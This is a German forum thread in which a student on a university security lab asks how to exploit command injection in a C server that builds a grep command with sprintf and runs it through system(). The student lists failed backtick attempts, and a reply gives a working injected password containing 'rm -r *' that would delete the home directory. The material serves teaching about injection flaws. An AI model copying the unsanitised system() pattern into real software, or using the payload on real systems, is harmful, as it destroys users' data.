Anzeige

 command Injection bei grep


#1
Hallo,

für ein Uni-Praktikum sollen wir ein Server-Programm auf Fehler überprüfen.
Eine mögliche Schwachstelle ist Command Injection. Allerdings habe ich da so meine Schwierigkeiten mit.

Der Server läuft im home-Verzeichnis des Benutzers "test". Mittels den Befehl "ls" sollen wir uns den Inhalt des Verzeichnis ausgeben.

Zum Server verbinde ich mich mit netcat.
Der Befehl den ich absenden kann lautet:

TUWAS <password>

Der C-Code in dem der Befehl verarbeitet wird lautet:

C:
sprintf(checkstr, "grep %s dicts/mama > /dev/null", password); //Konsolenbefehl generieren
      result = system(checkstr); //Konsolenbefehl ausführen
      if (result == 0) //password in DAtei gefunden
	{
	  printf("Password found!\n");
	  return;
	}
Jetzt habe ich schon verschiedene Command substitionen ausprobiert, aber nichts hat wirklich geklappt.

Code:
TUWAS hi`;ls`
--> sh: command substitution: line 0: syntax error near unexpected token `;'

Code:
TUWAS hi\`;ls\`
--> Client Terminal hängt und im Server steht unter den Prozessen: sh -c grep hi\`;ls\` dicts/mama
Mehr passiert hier nicht

Code:
TUWAS  hi\\\`;ls\\\`
--> Selber Problem wie oben

Was mache ich falsch ?
 

CPoly

Mitglied Weizenbier
#2
Folgendes als Passwort:

Code:
foo /dev/null & rm -r * & grep foo
führt zu diesem Command

Code:
grep foo /dev/null & rm -r * & grep foo dicts/mama > /dev/null
und sollte eigentlich den ganzen home folder löschen.
 
Anzeige
Anzeige